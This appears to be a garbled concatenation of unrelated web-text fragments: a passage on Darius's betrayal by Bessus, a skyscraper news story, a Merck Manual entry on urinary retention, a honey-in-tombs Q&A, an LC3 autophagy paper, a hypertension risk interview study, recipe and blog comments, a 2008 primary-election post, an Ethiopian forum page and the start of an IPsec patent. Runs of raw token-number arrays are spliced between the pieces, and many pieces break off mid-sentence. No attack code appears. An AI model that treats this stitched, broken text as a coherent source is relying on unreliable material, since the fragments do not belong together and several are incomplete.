eastern satrapies calling for soldiers. He was awaiting the requested reinforcements. But spring had arrived and with it reports that his nemesis was closing in. There was no alternative but to hurry off to the increasingly remote provinces of Hyrcania, Parthia, Bactriana, and Sogdiana. Space would buy time, and time would buy soldiers. But time would lose him soldiers, too, for withdrawal from Ecbatana opened important allies, the Cadusii and the Scythians, to Macedonian attack At one point Darius ordered his army to veer off the military road a little, telling the camp followers and the men guarding the baggage to go on ahead. He then called a meeting of his council. Among its members were his chief executive officer or chiliarch, Nabarzanes, and Artabazus, who was the father of Alexander's mistress Barsine but nevertheless a faithful servant of the Great King. Satraps from the east were also present. The mood must have been gloomy, but everyone protested their loyalty. Below the surface, though, these high officials of empire were weighing their options. Darius's withdrawal after Gaugamela had depressed morale, and Alexander's obvious desire for continuity meant that jobs, position, life could be maintained under the new regime. Treason could be presented as being in the public interest. Artabazus gave a rousing speech: "We shall follow our king into battle," he said, "dressed in our richest robes and equipped with our finest armor." But with no troops forthcoming from the east, the satraps saw little advantage in throwing away good men after bad. They sat on their hands. Behind the scenes, Nabarzanes and Bessus made common cause. They decided to arrest the Great King. Curtius writes: > They reasoned that if Alexander overtook them they could ingratiate themselves with the victor by handing over their king alive—he was sure to set great store by the capture of Darius—whereas, if they managed to get away from him, they would kill Darius, seize his kingdom themselves and restart hostilities. These were ruthless and ambitious grandees, but they genuinely believed that Darius's cause was lost. They would be patriots if possible. Otherwise they would look out for themselves. Nabarzanes laid the ground for their plan, turning to Darius and addressing him directly: "Temporarily transfer your authority and your command to another, who can carry the title of king only until the enemy quits Asia. When victorious, he can then return your kingdom to you." His intention was to raise
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547, 7802, 1919, 512, 403, 4336, 19185, 15, 13470, 39438, 2338, 7437, 275, 3199, 15, 187, 187, 1672, 8292, 41893, 187, 187, 6623, 15100, 9510, 1128, 2214, 4465, 43818, 13746, 13, 4021, 253, 10379, 285, 8516, 8618, 15, 5733, 271, 3081, 337, 16, 19, 5500, 273, 43818, 285, 5321, 337, 5500, 273, 253, 43818, 14, 5546, 20662, 7802, 281, 2642, 12610, 689, 634, 5890, 10238, 347 ]	in paradigm from'vertical' analysis of the role(s) of one or a few genes to 'horizontal' holistic approaches, studying the function of many or even all of the genes of an organism simultaneously. This change is leading us beyond genomes to transcriptomes, proteomes and metabalomes, and to an understanding of life at an entirely new level. Profiling strategies are putting this change into effect through the generation of large amounts of data, requiring that current bioinformatic approaches adapt and grow in order to make the most of these data.LONDON, England (CNN) -- Saudi Prince and billionaire Al-Waleed bin Talal says he will build the world's tallest building, planned to be over a kilometer (3,281 feet) high. The tower will be built in the Saudi town of Jeddah and will be part of a larger project that will cost $26.7 billion, (100 billion Saudi riyals) said the Prince's firm, Kingdom Holding Company. The planned Kingdom City project will be taller than Burj Dubai tower which is the world's tallest man-made structure. The project, entitled Kingdom City, will span 23 million square meters (248 million square feet) and will include luxury homes, hotels and offices. The booming city of Dubai in the United Arab Emirates has also joined the skyscraper race. While the ever-growing Burj Dubai is already the tallest man-made structure in the world, the Nakheel Tower is set to go even higher. Developers suggest the finished building will be at least 1 km tall. While in Europe, Paris is leading the skyscraper revolution -- plans for a 50-story building have been given the green light, which will make it the first skyscraper to be built in the city for 30 years. These buildings are part of a new generation of innovative, exciting skyscrapers set to appear all over the world over the next 10 years. Don't Miss While they may be mere midgets compared to the mega structures of the Middle East, Russia Tower in Moscow and the Okhta Center Tower in St Petersburg promise to provide some stunning eye candy. Spiraling its way through the Chicago skyline, the Chicago Spire will have a striking corkscrew design, while a gleaming Freedom Tower is to be the highlight of the rebuilt World Trade Center. And proving the skyscraper renaissance is a global phenomenon there are stylish giants planned for Panama, Pakistan and South Korea.Retention is most common among men, in whom prostate abnormalities or urethral strictures cause outlet obstruction. In either sex, retention may be due to drugs (particularly those with anticholinergic effects, including many OTC drugs), severe fecal impaction (which increases pressure on the bladder trigone), or neurogenic bladder in patients with diabetes, multiple sclerosis, Parkinson disease, or prior pelvic surgery resulting in bladder denervation. Urinary retention can be asymptomatic or cause urinary frequency, a sense of incomplete emptying, and urge or overflow incontinence. It may cause abdominal distention and pain. When retention develops slowly, pain may be absent. Long-standing retention predisposes to UTI and can increase bladder pressure, causing obstructive uropathy. Diagnosis Measurement of postvoid residual volume Diagnosis is obvious in patients who cannot void. In those who can void, incomplete bladder emptying is diagnosed by postvoid catheterization or ultrasonography showing an elevated residual urine volume. A volume < 50 mL is normal; < 100 mL is usually acceptable in patients > 65 but abnormal in younger patients. Other tests (eg, urinalysis, blood tests, ultrasonography, urodynamic testing, cystoscopy, cystography) are done based on clinical findings. Was This Page Helpful? Also of Interest Test your knowledge Pain originating in the kidneys or ureters is usually vaguely localized to the flanks or lower back and may radiate into the ipsilateral iliac fossa, upper thigh, testis, or labium. Which of the following is typically causes colicky, sometimes prostrating pain? MSD and the MSD Manuals Merck & Co., Inc., Kenilworth, NJ, USA (known as MSD outside of the US and Canada) is a global healthcare leader working to help the world be well. From developing new therapies that treat and prevent disease to helping people in need, we are committed to improving health and well-being around the world. The Manual was first published in 1899 as a service to the community. The legacy of this great resource continues as the Merck Manual in the US and Canada and the MSD Manual outside of North America. Learn more about our commitment to Global Medical Knowledge.Q: Have edible jars of honey been found in thousand-year-old Egyptian tombs? A recent xkcd contains the claim that honey has a shelf life that's so long that edible jars of honey have been found in Egyptian tombs several thousand years old. Image taken from http://www.xkcd.com/1717/, licensed under a CC BY-NC 2.5 license. The Smithsonian article in question appears to be The Science Behind Honey’s Eternal Shelf Life, which starts off with Modern archeologists, excavating ancient Egyptian tombs, have often found something unexpected amongst the tombs’ artifacts: pots of honey, thousands of years old, and yet still preserved. Through millennia, the archeologists discover, the food remains unspoiled, an unmistakable testament to the eternal shelf-life of honey. The Smithsonian article references SL Buchman and B Repplier's Letters from the Hive, and I'm unable to get hold of a copy, but the claim is quite extraordinary to be citing a book of that sort. A previous question on this site asked about the shelf-life of honey, but the answers there don't really address the thousand+ year timescale, even though the OP's source there also contains the claim that You could place it anywhere for thousands of years and it will not spoil. In fact, edible honey was found in ancient Egyptian Pharaoh King Tut’s tomb! Since xkcd has sort of left things hanging, I'd like for someone to take up Megan's track and show some more solid evidence either way for the claims of edible honey in Egyptian tombs. In particular, if the claim is true, then my feeling is that the must be credible reports in the archaeology literature, so those would be nice to see. (If it's false, on the other hand, then it may be harder to debunk.) A: Evidence for it seems to be lacking. This is the closest I've found to an exploration of the sources and the most likely source for the claim is the 1907 account of explorer Theodore Davis regarding the Tomb of Yuya and Tjuyu (emphasis mine): From the neck of one of the vases hung shreds of mummy-cloth which had originally covered the mouth of the vase. Evidently the robber, expecting the contents to be valuable, tore off the cloth. Three thousand years thereafter I looked into the vase with like expectation; both of us were disappointed, for it contained only a liquid which was first thought to be honey, but which subsequently proved to be natron. Combined with the finding of jars in Tutankhamen's tomb that bore the sign for honey, and later research with analysis of stains on the inside of jars showing that they once contained honey (best link I've found so far is of a Georgian dig which actually predates the Egypt finds), you get the factoid of "liquid honey was found in the tombs and was still edible". Spectral characteristics of skin temperature indicate peripheral stress-response. High-resolution measurement of skin temperature in 11 normal subjects revealed low-amplitude temperature oscillations (40 x 10(-3) degrees C). The temperature signal measured on two hands during baseline, stress, and recovery periods, was filtered to separate the low-amplitude oscillations from the temperature signal. Spectral analysis of the filtered signal showed that most of the energy of the signal is in a range of 0.01 to 0.03 Hz. Frequency shifts and amplitude changes of the largest component were observed in response to mental stress. In subjects with high baseline values of either of these two variables, a decrease was observed in response to stress. An opposite response was observed in subjects with significantly lower baseline levels. Stress-related changes in peak frequency ranged from -25% to +18.2%; changes in peak amplitude ranged from -74.6% to +280%. Changes in the mean temperature were limited to 2.4%. Thus, the oscillatory component showed higher sensitivity to psychological stress than mean temperature. The spectrum of this component was compared to the spectrum of the blood pressure waves measured noninvasively. Both exhibited similar dynamics of energy, peak amplitude, and peak frequency in response to psychological stress. This similarity suggests that the oscillatory temperature component reflects stress-related changes of peripheral vasomotor activity.Steps In large food-storage plastic bag, mix granulated sugar and pumpkin pie spice. Separate each can of dough into 8 biscuits; cut each biscuit into quarters. Place 6 to 8 biscuit pieces in sugar-spice mixture; shake well. Continue to add more biscuit pieces to sugar-spice mixture until all are completely coated. Place biscuit pieces in pan. Expert Tips Flavor boost—For extra pumpkin flavor, double the butter and brown sugar. Add an additional 1/2 cup of pumpkin and save 1 cup of the pumpkin-caramel mixture to drizzle over your warm bread as
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13655, 14481, 14536, 281, 253, 638, 1920, 14479, 13304, 2605, 2479, 2383, 21, 2498, 4129, 247, 3969, 638, 1920, 14479, 13304, 2605, 556, 417 ]	Recombinant LC3 was incubated with ATP in the presence and absence of PKA. In the presence of PKA and ATP, the m/z 821.33 ion is lost with the appearance of an m/z 901.41 ion. (f) Mutation of the LC3 phosphorylation site to S12A abolishes PKA phosphorylation of LC3. (g) Immunoblot of cortical neurons treated with forskolin or DMSO (vehicle) probed with phospho-specific LC3 antibody, total LC3 antibody (LC3-nt), and lamin antibody as a loading control.](JCB_201002108_RGB_Fig3){#fig3} We used matrix-assisted laser desorption/ionization (MALDI) time of flight (TOF) mass spectrometry (MS) to identify the PKA phosphorylation site on LC3. Analysis of the MS1 spectra revealed a singly charged peptide \[M^+^H\]^+^ ion signal at m/z 821.33 ([Fig. 3 d](#fig3){ref-type="fig"}) that was lost from samples treated with PKA, accompanied by the appearance of a new peptide \[M^+^H\]^+^ ion signal at m/z 901.41, corresponding to the predicted 80 D gain of a phosphate group ([Fig. 3 e](#fig3){ref-type="fig"}). Alkaline phosphatase treatment of PKA-phosphorylated LC3 eliminated the ion signal at m/z 901.41 (unpublished data). Tandem MS/MS analysis identified the m/z 901.41 ion as residues 8--13 containing a phosphorylation at serine 12 ([Fig. S2 a](http://www.jcb.org/cgi/content/full/jcb.201002108/DC1)). To confirm that serine 12 was the PKA phosphorylation site, mutagenesis of serine 12 to alanine (S12A) abolished LC3 phosphorylation by PKA ([Fig. 3 f](#fig3){ref-type="fig"}). Custom antibodies generated to the phosphorylated peptides effectively labeled PKA-phosphorylated recombinant LC3 (Fig. S2 b) and endogenously phosphorylated LC3 in SH-SY5Y and cortical neurons but not in the presence of the immunizing peptide (Fig. S2 c). Endogenously phosphorylated LC3 was further increased by treatment with forskolin to stimulate PKA ([Fig. 3 g](#fig3){ref-type="fig"}). We investigated whether endogenous LC3 phosphorylation was regulated by rapamycin or MPP^+^, two stimuli that induce increased autophagic flux ([@bib4]; [@bib28]). Treatment with either rapamycin or MPP^+^ led to a reduction in phospho-LC3 as compared with vehicle-treated cells ([Fig. 4, a and b](#fig4){ref-type="fig"}) with no significant change in levels of LC3 probed using an antibody raised against a C-terminal region epitope of mature LC3 distant to the phosphorylation site (LC3). These results suggest that LC3 is dephosphorylated during autophagy induction. Blots reprobed using the N-terminal antibody for LC3 revealed the expected increase in LC3-II caused by rapamycin. Endogenously phosphorylated LC3 comigrated with nonlipidated forms of LC3 ([Fig. 3 g](#fig3){ref-type="fig"} and Fig. S2 c). To determine whether loss of phosphorylation was sufficient to increase the number of GFP-LC3--positive AVs, we transfected cells with a nonphosphorylatable mutant, GFP-LC3--S12A. Under basal conditions, GFP-LC3--S12A migrated predominantly as a lipidated LC3-II band, forming more puncta than GFP-LC3--wild type (WT; [Fig. 4, c and d](#fig4){ref-type="fig"}), indicating that phosphorylation of LC3 regulates its incorporation into AVs. ![LC3 dephosphorylation is associated with enhanced recruitment to autophagosomes. (a and b) Immunoblots of SH-SY5Y cells treated with rapamycin for 1 h (a) or MPP^+^ for 24 h (b) were probed using the phospho-specific antibody, a C-terminal LC3 antibody (LC3), an N-terminal LC3 antibody (LC3-nt), and GAPDH as loading control. (c) Immunoblotting of SH-SY5Y cells expressing GFP-LC3--WT or --S12A reveals that a greater fraction of GFP-LC3--S12A migrates as LC3-II. (d) Quantification of GFP-LC3 puncta in SH-SY5Y cells expressing GFP-LC3--WT or --S12A. \, P = 0.023 versus WT neurite; \\, P = 0.014 versus WT soma; \\\, P = 0.003 versus WT total (n = 100--115 cells/condition). Error bars indicate mean ± SEM.](JCB_201002108_GS_Fig4){#fig4} We determined whether dephosphorylation contributed to autophagy induction using the S12D phosphomimetic mutant in cells treated with rapamycin. The S12D mutation reduced the number of GFP-LC3 puncta in rapamycin-treated cells ([Fig. 5, a and b](#fig5){ref-type="fig"}). Similarly, the S12D mutant formed significantly fewer puncta in cells expressing LRRK2 G2019S or in cells treated with MPP^+^ ([Fig. 5, c and d](#fig5){ref-type="fig"}). Furthermore, the autophagy-related neurite shortening caused by LRRK2 G2019S or MPP^+^ was attenuated by the S12D mutation in SH-SY5Y cells and cortical neurons ([Fig. 5, e--h](#fig5){ref-type="fig"}). Collectively, the data indicate that LC3 phosphorylation by PKA suppresses induced autophagy and autophagic neurite degeneration elicited by LRRK2 G2019S and MPP^+^. ![LC3 phosphomimic shows reduced recruitment and suppresses neurite degeneration. (a and b) SH-SY5Y cells expressing GFP-LC3--WT or --S12D treated with rapamycin or vehicle for 1 h. Quantification of GFP-LC3 puncta. \, P = 2.31 × 10^−8^ versus vehicle/WT; \\, P = 0.004 versus rapamycin/WT (n* = 70--80 cells/condition). (c) Quantification of GFP-LC3 puncta in SH-SY5Y 48 h after transfection. \, P = 0.001 versus empty vector/GFP-LC3--WT; \\, P = 0.025 versus LRRK2 G2019S/GFP-LC3--WT (n* = 100--115 cells/condition). (d) Quantification of GFP-LC3 puncta in SH-SY5Y cells treated with MPP^+^ or vehicle for 48 h. \, P = 0.026 versus vehicle/WT; \\, P = 0.043 versus MPP^+^/WT (n* = 85--95 cells/condition). (e) Quantification of neurite lengths from SH-SY5Y cells 48 h after transfection. \, P = 6.37 × 10^−4^ versus empty vector/WT; \\, P = 0.008 versus LRRK2 G2019S/WT (n* = 100--115 cells/condition). (f) Quantification of neurite lengths from SH-SY5Y cells treated with MPP^+^ or vehicle for 48 h. \, P = 3.58 × 10^−8^ versus vehicle/WT; \\, P = 3.74 × 10^−4^ versus MPP^+^/WT (n* = 85--95 cells/condition). (g and h) Quantification of neurite length and branch points in cortical neurons coexpressing either GFP-LC3--WT or --S12A with empty vector or LRRK2 G2019S. \, P \< 0.01 versus empty vector/WT; \\, P \< 0.036 versus LRRK2 G2019S/WT (n* = 30--40 cells/condition). Error bars indicate mean ± SEM. Bars, 20 µm.](JCB_201002108_GS_Fig5){#fig5} This study identifies a new phosphorylation site on LC3 that reduces its recruitment and participation in autophagy. To our knowledge, this represents the first example of phosphorylation-based regulation of this important autophagy effector, whose recruitment represents the convergence point for several pathways of autophagy induction ([@bib8]). As autophagy has been implicated in a growing number of human diseases, it has become clear that a fine balance of autophagy underlies healthy mammalian physiology. Phosphorylation-based regulation of autophagy has thus far centered on the nutrient-sensing target of rapamycin--Atg1 regulatory axis, whereas loss of inhibitory mechanisms in the phosphoinositide 3-kinase--beclin 1 pathway have been implicated in hereditary myopathies and pathological cell death ([@bib28]; [@bib17]; [@bib21]). This study implicates components of the ubiquitin-like lipidation system itself as a third potential point of autophagy down-regulation capable of suppressing autophagy induced by metabolic or pathological stimuli. Other autophagy effector proteins may also be subject to phosphoregulation, linking autophagic responses to cellular injury and stress signals. In yeast, recent studies indicate a nutrient-sensing role for PKA as a parallel pathway to target of rapamycin in suppressing autophagy, with phosphorylation of the kinase Atg1 as a convergence point ([@bib25]; [@bib19]). There was no effect on Atg1 kinase activity, but phosphorylation inhibited localization to the preautophagosomal structure ([@bib4]). Although a corresponding preautophagosomal structure has not
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273, 6642, 273, 1880, 597, 651, 320, 387, 2495, 273, 14300, 10552, 3746, 13, 1014, 846, 49887, 15, 187, 187, 10195, 5014, 4469, 247, 8327, 281, 3693, 19573, 839, 2852, 2495, 273, 2728, 13, 1690, 1097, 9243, 285, 5662, 5014, 15, 10030, 4606, 4469, 407, 5014, 2908, 27, 4560, 253, 8180, 273, 2852, 4092, 9749, 28637, 390, 33674, 28, 591, 32177, 326, 2819, 387, 2852, 2495, 858, 417, 1056, 3282, 1955, 281, 1711, 2363, 28, 285, 1907, 643, 3939, 1786, 3237, 326 ]	did not seek further feedback from participants on the transcripts, other than seeking clarification of any unclear points during the course of the interview. The transcripts were analysed using thematic analysis as described by Ziebland and McPherson.[@R19] This is a form of grounded theory, where analytical categories are developed inductively from the data, rather than defined beforehand. Specifically, the interview transcripts were coded line-by-line using Dedoose, a qualitative research web application.[@R20] Codes were developed iteratively; new codes were added as needed to describe the interview data. Finally, these reports were used to produce a final analysis, in which connections and groupings between codes can be made, and overarching themes understood. Ziebland and McPherson describe this as the one sheet of paper (OSOP) method, in which the issues from report texts are identified in depth and written down on a single (often large) sheet of paper together with a participant identifier.[@R19] The researcher can place themes in closer proximity to others that appear to be related. By doing this iteratively, a map of the themes develops, and lines can be drawn in to represent the connections. The output of this stage is a map of concepts and their relationships, from which the supporting evidence (the relevant text snippets) may be retrieved. In practice, IJM coded the interview transcripts. CM separately coded a sample, and the coding scheme was discussed and revised in regular meetings of IJM, CM and CDAW over the course of the data collection. It was at these meetings that the decision about data saturation was taken. The OSOP method was done initially by IJM, then refined following discussion with CM and CDAW. Results {#s3} ======= Characteristics of participants {#s3a} ------------------------------- Twenty-four interviews were conducted; a description of participants' characteristics is given in [table 1](#T1){ref-type="table"}. Participants had diverse occupations, including engineers, cleaners, health professionals, teachers and manual labourers. FIfteen of 24 participants had retired from employment. Participants were aged from 51 years to 90 years, with 46% male. Fifty-four per cent were born in the UK, while the remainder were born in Africa (21%), the Caribbean (13%), France, Ireland and the USA (one participant each (4%)). Self-reported ethnicity was 54% white British, 13% white other, 21% black African and 13% black Caribbean. Participants had received a hypertension diagnosis between 2 months and 33 years prior to the interview. Twenty-two participants were prescribed regular medication with widely varying reported patterns of medication taking (ranging from participants who took medication regularly without fail to those who took it rarely, or when it was perceived as needed). One participant had taken medication previously but decided to stop, and one participant was considering whether to start medication following a recent meeting with her doctor. ###### Characteristics of participants Interviewee code Practice Age category Sex Ethnicity Time since diagnosis ------------------ ---------- -------------- ----- ----------------- ---------------------- A 2 70--80 M White British 5 years B 2 60--70 F White US 3 months C 1 50--60 M White British 19 years D 1 60--70 F White British 12 years E 2 60--70 M Black Caribbean 15 years F 1 70--80 M White British 5 years G 1 60--70 M White British 3 years H 1 80+ M White British 33 years I 2 60--70 M White British 3 years J 1 80+ M White British 6 years K 1 60--70 F White French 15 years L 1 70--80 M Black African 30 years M 2 50--60 F Black African 6 years N 1 70--80 F White British 5 years O 1 50--60 F Black Caribbean 2 months P 1 70--80 F White British 10 years Q 1 70--80 F White British 30 years R 2 60--70 F Black Caribbean 15 years S 2 70--80 F White British 7 years T 2 70--80 M Black African 33 years U 2 70--80 F White African 20 years V 2 60--70 F Black African 2 years W 2 80+ M White British 20 years X 2 70--80 F White Irish 20 years F, female; M, male. Thematic analysis {#s3b} ----------------- We summarise our findings as a lay model of risk understanding, as shown in [figure 2](#F2){ref-type="fig"}. Our key finding was that CVD risk probabilities were often understood from an individual perspective (rather than, as intended, population probabilities). This led to understandings of risk presentation that widely differed from their intended meaning. Perspectives on risk were informed by participants' understanding of the causes of hypertension and CVD, and often through seeing CVD as a sudden, unpredictable and fatal event. Many participants avoided contemplating future CVD risk, as they found it unpleasant, pointless, that it was not a priority in the context of advancing age or other illness or preferred to focus on positive aspects of life. For those who did engage with risk discussion, risk information was interpreted in a number of unexpected ways. Many participants did not identify with the reference population. For some, risk estimates would not take sufficient account of factors they felt to be important (including both factors ignored by the models and factors not accorded sufficient weight). Some participants felt that since no two individuals could ever be the same, population probabilities could never make sense. Others identified with either the affected or unaffected portion of the fraction. Conversely, peer comparison was widely used by participants and appeared to be an acceptable and meaningful way of discussing risk. These themes are presented in detail below. ![A lay model of cardiovascular risk. CVD, cardiovascular disease.](bmjopen-2018-023726f02){#F2} Causes and consequences of hypertension {#s3c} --------------------------------------- Most of the participants explained their hypertension by way of conventional biomedical risk factors; the majority mentioned one or more of advancing age, obesity, a family history, poor diet and lack of exercise as contributing. These factors were widely described as causative of high blood pressure but as causative of complications of high blood pressure. Several participants who were born outside of the UK attributed their hypertension to their new environment. Many participants identified that stress contributed to their hypertension. For some of these participants, stress was regarded as highly important, and for several, it was regarded as the primary cause of hypertension. For several participants, a stressful life event was considered to be a trigger for hypertension starting. A wide variety of consequences of having high blood pressure were described by participants; these could be broadly grouped as cardiovascular consequences and somatic consequences. Most of the participants described the possibility of developing an illness due to high blood pressure, particularly if not controlled, including stroke, heart attack and kidney disease. Several participants described complications as being sudden, unpredictable and severe; many reported sudden death as an important consequence of untreated hypertension. Several others described sudden increases in blood pressure as harmful, as illustrated by the following two quotes: > Well I mean I think it can be sort of damaging for the heart as, you know, if it really goes high. And I mean you could get a stroke, you know, a number of things really. (Interview Q) > At one point, it was extremely high, I borrowed my neighbours cuff, whatever you call it...sphyg... and er, the systolic was over 200 and I got a little frightened... (Interview D) Several participants described physical sensations they attributed to raises in blood pressure: these included headache and breathlessness. One participant, who attributed physical symptoms to an acute increase in blood pressure, described how the absence of physical symptoms was an important marker of good control. > I am very careful about it, I have no problem with the blood pressure. If I feel that my head will explode. I relate it with the blood pressure, the only thing I do is I sit down and relax. I breathe deeply, and then with the relaxation it's finished, it's happened one in three months no more. (Interview K) Attitudes towards future risk {#s3d} ----------------------------- A large portion of the interview comprised discussion about perceptions of risk. Participants were asked both if they had thought about this previously and also asked whether they considered themselves likely or unlikely to develop a complication of hypertension in future. However, around half of participants did not provide any sort of estimate of whether they would be at risk of hypertension complications themselves, even after prompts. Many participants expressed a desire to avoid contemplating future risk of disease, including both younger and older participants. Key reasons expressed by participants included: finding the consideration of future serious illness unpleasant or stressful; perceiving that looking at future risk did not make sense due to old age; and having other active health problems that
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512, 273, 253, 2201, 8786, 9183, 275, 253, 22207, 1051, 30926, 310, 253, 760, 12724, 1469, 598, 987, 1024, 15, 187, 187, 510, 3420, 310, 5172, 39639, 333, 275, 253, 11100, 323 ]	They’re sort of a wonderous happening when they come with your baby. The “boy thing” just works itself out with a little help from the hospital staff….and instinct. I learned that when my grandsons were born. You’ll be a star within hours. Trust me. Just like you are as a food blogger! I pretty much feel ya though, I’m a bit ways away yet. I’m 23 weeks today/ 5 months, almost 6 months. My back hurts a lot today and I’m just feeling more and more tired. We haven’t even begun the nursery yet. I have paint samples picked out and ideas galore, but I can’t help but freak a little. I adore a good pulled pork sandwich and freezer meals are the best! Try to relax…I know, easier said than done! Congrats on baby boy! Made the mistake of taking a drink of water right as I read your line about dudes walking around with those things. Definitely choked and sent myself into a coughing fit, eliciting a raised eyebrow from Alex. You’re hilarious. You’re going to be a totally awesome mom, and you’ll figure it all out (though I grew up with brothers and live with a boy now and I still don’t totally get the male species… but they’re pretty low-maintenance ;)). This pulled pork really does look perfect! This looks super tasty! I need to start stocking my freezer(I still have 13 weeks until my baby girl is estimated to arrive). I feel like I have absolutely nothing ready yet(besides the baby room being painted). I’m glad my first will be a girl, because I agree with you, Ijust don’t know how boys work. I’m sure you’ll be an awesome mom though, especially with so many awesome recipes to feed a growing boy! I have to admit, I have no idea what this is like, but I have a feeling your’e going to do just fine. Even if there is pee and spit up involved. Love having quick meals like this in my recipe box. I’d make the full batch then repurpose the leftovers. Thanks for sharing!January 20, 2008 ... Mitt Romney won the largely uncontested Nevada caucuses, giving him at least the claim of having won two contests in a row. On a more practical and potentially more meaningful level, he also captured more delegates on Saturday than Mr. McCain did. ... [McCain's] first two victories came in New Hampshire and South Carolina, where independents, who often seem more enthusiastic about Mr. McCain than members of his party do, are permitted to vote in the primaries. The terrain from here is markedly different, starting Jan. 29 in Florida, where the Republican primary is open only to Republicans. “He still has significant skepticism that he has to overcome in the Republican base,” said Gary L. Bauer, who sought the Republican presidential nomination in 2000 and is not endorsing anyone at this time. “The real test will be how well he can secure the Republican base as we head toward Super Tuesday.” Mr. Bauer added, “On balance, in most states, to get the nomination you’ve got to do very well among registered Republicans, and that is going to become increasingly important as other candidates drop out of the race.” An exit poll in South Carolina offered evidence of the challenge Mr. McCain faces: 8 in 10 of the voters in the primary described themselves as Republicans, and just 3 in 10 of them voted for Mr. McCain. The finding suggests what Mr. McCain’s rivals were saying Saturday night: that he might not have won without the help of voters outside his party. With John McCain's victory tonight, we've finally achieved that belated winnowing. In one quick burst, McCain has effectively knocked Mike Huckabee, Fred Thompson, and Rudy Giuliani from the race: Huckabee because it's not clear where he wins if he can't do it in as demographically favorable a state as South Carolina. (Fifty-nine percent of voters today were evangelicals; Huckabee only won them by a 40-27 margin over McCain.) Rudy because it's hard to see why anyone would perfer him to McCain going forward; both appeal to moderate, security-minded Republicans and McCain is the only one who hasn't been a disaster of late. And Thompson's finished--as if it needed to be said--because even he'd conceded this was his last chance to reverse a debilitating six-month slide. (One interesting sidenote: Huckabee's under-performance among evangelicals probably had something to do with the 15 percent of them Thompson picked off. I have a feeling that won't be Fred's last gift to McCain in this race...) This is clearly a McCain-Romney race going forward. Romney has the money and may still be the establishment choice over McCain, who's widely disliked in elite GOP circles. The benefit of the latter will be, among other things, to dampen the fundraising boost McCain should receive from South Carolina. 25 comments: please remember that this is the same state that sent Strom Thurmond to Washington for half a century. There is a large portion of the State composed of northerners who have escaped the cold and taxes to live there and there are distinctly different demo/geo/psychographic areas. CNN was breaking that apart last night as the results were coming in but they were not of much help when I fell asleep. Unemployment is well over 6% there and minorities are particularly hard hit and I presume a lot of them are so far off the unemployment rolls as to not be counted. I say that only because so much was made overnight of that figure and how it might now be the economy rather than Iraq that draws the focus. Agree with HD that this is going to be one strange election. I dont think there is a front runner on either side yet, and it wont be until Feb 5 where we might see some favorites emerge. I am increasingly thinking both conventions may end up brokered. Of course, with the media horserace mentality, they arent focusing on delegate count which is the only figure that means anything with respect to the nominations. Clinton and Romney lead those. "The finding suggests what Mr. McCain’s rivals were saying Saturday night: that he might not have won without the help of voters outside his party." It seems to me that it might actually be a GOOD thing to promote a candidate that can draw votes from outside the party... but I'm not holding my breath that Republicans will actually employ this strategy anytime soon. "An exit poll in South Carolina offered evidence of the challenge Mr. McCain faces: 8 in 10 of the voters in the primary described themselves as Republicans, and just 3 in 10 of them voted for Mr. McCain. The finding suggests what Mr. McCain’s rivals were saying Saturday night: that he might not have won without the help of voters outside his party." Rivals were saying that, were they? Glad to see the reporter is immune to spin. Or is he? According to the exit poll (which has a margin of error), Huckabee won among Republican voters by a single percentage point over McCain. A poll showing a single point lead in either direction is generally considered a dead heat. So if McCain has a problem because only 3 of 8 Republican voters chose him, Huckabee has a problem because only 3 of 8 Republican voters chose him, and Romney has a problem because only 3 of 16 Republican voters chose him, and Thompson has a problem because only 3 of 16 Republican voters chose him, and Paul and Giuliani have a problem because only 1 in 50 Republican voters chose each of them. I always thought that the first African American or female president would be a Republican, a Maggie Thatcher or a Colin Powell who campaigned and won on something other than identity. Now it looks like a Democratic year. The Republican elites so hate their best candidate that they'd rather try with either a creationist economic illiterate from Arkansas of all places or a pandering flip-flopper from Massachusetts of all places (or is it New Hampshire or Michigan or Utan?). I believe you are being more than prescient. I believe it will get even stranger. But, no matter what we think, who we support or detest, and what issues are important to us, this will be one of the most interesting elections in my lifetime. Who would think that elections are now a major form of entertainment, evolving or devolving into the realm of reality shows. McCain is the best bet to beat Hillary because of those crossover votes coupled with the large antiHillary factor which will get republicans off their duffs to vote. If Obama is the Dem nominee, a lot of Republicans will stay home and he will win. Not mentioned now is teh McCain age/ health issue, and the importance of his VP. Melanoma survivors tend to go quickly when the disease recurs. The odds might be as high as one in four that he wouldn't finish his first term and one in two of making it to 80 in 2017. If he had the right VP, he could abdicate in 2013 if things are going well, and retire if not. It will be curious to see when this subject is first breached in teh campaign. Looking solely at the numbers, McCain does have alot of things going for him. His current upswing is quite impressive. Here is a chart comparing all of the major Republican candidates in the polls... McCain is the only consistently going up right now. The media is waaaaay in the tank for
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Disclaimer: We are not responsible for any losses or damages that may have caused by using our services. EMF declines all responsibility for the contents of the materials stored by users. Each and every user is solely responsible for the posts. Posted by ethioforum on January 27, 2013. Filed under NEWS. You can follow any responses to this entry through the RSS 2.0. You can leave a response or trackback to this entry By D. K. Bimrew Per the 2007 Population and Housing Census, Amhara is the second largest ethnic groups in Ethiopia. Mostof the Amhara population lives in Godner, Gojjam, Wollo and Shewa provinces. However, due to historical reasons significant number of Amhara people are distributed throughout Ethiopia which makes the most… For Immediate Press Release on the current alarming state of Ethiopia Center for Rights of Ethiopia Women (CREW) is deeply concerned with the current state of affairs in Ethiopia. Since the government declared a state of emergency in October, thousands of men, women and particularly young people including journalists, opposition… (IAAF) — Jamaica’s Usain Bolt and Ethiopia’s Almaz Ayana have been named the male and female World Athletes of the Year at the IAAF Athletics Awards 2016, held at Sporting Monte Carlo on Friday. Bolt, who won the award five times between 2008 and 2013, added to his legacy by… Nairobi, November 17, 2016–Ethiopia should immediately release all journalists detained amid an intensifying crackdown on the media, the Committee to Protect Journalists said today. In recent weeks, Ethiopian authorities have jailed a newspaper editor, as well as two members of the award-winning Zone 9 bloggers’ collective, which has faced continuous… (Reuters) — The BBC said on Wednesday that its World Service will begin broadcasting in 11 additional languages in a drive to reach millions more people, including in places like North Korea where impartial news is hard to get. The World Service started out in 1932 as a radio channel… By Abbaa Ormaa All is not lost for the Atlanta Oromo Leadership Convention. Regardless of whether it is a success or a failure, depending on where one stands on the Oromo political spectrum, it is yet more evidence that the Oromo struggle for justice and fairness has entered a new…In networking environments that include devices or nodes coupled to a network, various methodologies are used to establish and maintain a secure network connection. These networks may include, but are not limited to, wired or wireless local area networks (LAN/WLAN), wide area networks (WAN/WWAN), metropolitan area networks (MAN), personal area networks (PAN) and cellular or wireless broadband telephony networks. One example methodology used on these types of networks to establish and maintain a secure network connection uses an industry standard that is based on Internet communication protocols. This industry standard is the Internet Engineering Task Force, Network Working Group, Request for Comments: 4301, Security Architecture for the Internet Protocol, published December 2005 (“the IPsec 